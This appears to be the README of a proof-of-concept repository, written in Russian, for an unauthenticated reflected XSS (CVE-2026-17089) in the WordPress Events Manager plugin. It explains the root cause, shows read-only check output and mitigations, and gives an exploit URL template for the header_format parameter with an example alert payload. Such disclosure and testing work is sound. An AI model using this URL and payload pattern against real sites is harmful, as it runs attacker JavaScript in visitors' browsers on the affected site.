pwnvader/cve-2026-17089-poc-pwnvaderShell PoC для CVE-2026-17089 — неаутентифицированного отражённого XSS в плагине WordPress Events Manager (<= 7.4.0.1); выполняет фингерпринтинг плагина и проверяет отражение header_format.
<= 7.4.0.1 — Отражённый XSS без аутентификации (header_format)Автор: pwnVader · Лицензия: MIT (корень репозитория)
| Компонент | Events Manager – Calendar, Bookings, Tickets, and more! (плагин WordPress) |
| Тип | CWE-79 — Отражённый межсайтовый скриптинг |
| Затронуто | <= 7.4.0.1 |
| Исправлено | в более позднем релизе 7.4.x (wp_kses_post() применён в EM_Events::output_grouped()) |
| CVE | CVE-2026-17089 — CVSS 3.1 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |
| PoC | poc.sh |
Точка входа через шорткод очищает header_format с помощью wp_kses(), но не требующее аутентификации
AJAX-действие search_events_grouped обходит эту очистку и выводит значение в
HTML-ответ (EM_Events::output_grouped()). Удалённый неаутентифицированный атакующий может создать URL,
который выполнит произвольный JavaScript в origin уязвимого сайта для любого пользователя, открывшего его
(UI:R).
# Interactive menu
./poc.sh
# Read-only: fingerprint the plugin and test the unescaped reflection
./poc.sh check --target https://example.com
# Print the exploit URL (open it in a browser; the script runs in the target origin)
./poc.sh url --target https://example.com --payload "alert(document.domain)"
check)== CVE-2026-17089 PoC (check) ==
target: https://example.com
[1] Plugin fingerprint (read-only)
[PASS] Events Manager assets are served (plugin installed)
[info] Stable tag: 7.1.7
[PASS] version 7.1.7 is in the affected range (<= 7.4.0.1)
[2] Unauthenticated reflection test (read-only, benign marker)
[PASS] endpoint reflected header_format UNESCAPED (the raw is in the response)
== RESULT: 3 PASS / 0 FAIL ==
VULNERABLE to CVE-2026-17089 (unauthenticated reflected XSS).
https://example.com/wp-admin/admin-ajax.php?action=search_events_grouped&scope=all&limit=5&header_format=<urlencoded payload>
readme.txt (Stable tag) и/или путь к ресурсам плагина
/wp-content/plugins/events-manager/includes/js/events-manager.js.admin-ajax.php?action=search_events_grouped с header_format, установленным в маркер, и проверьте,
отражается ли необработанная разметка без экранирования в теле ответа.wp_kses_post() к
header_format внутри функции рендеринга, охватывая всех вызывающих).search_events_grouped или отфильтруйте
header_format на уровне WAF/приложения.Только для авторизованного тестирования безопасности. PoC работает в режиме только для чтения (check) или выводит URL (url);
данные не изменяются.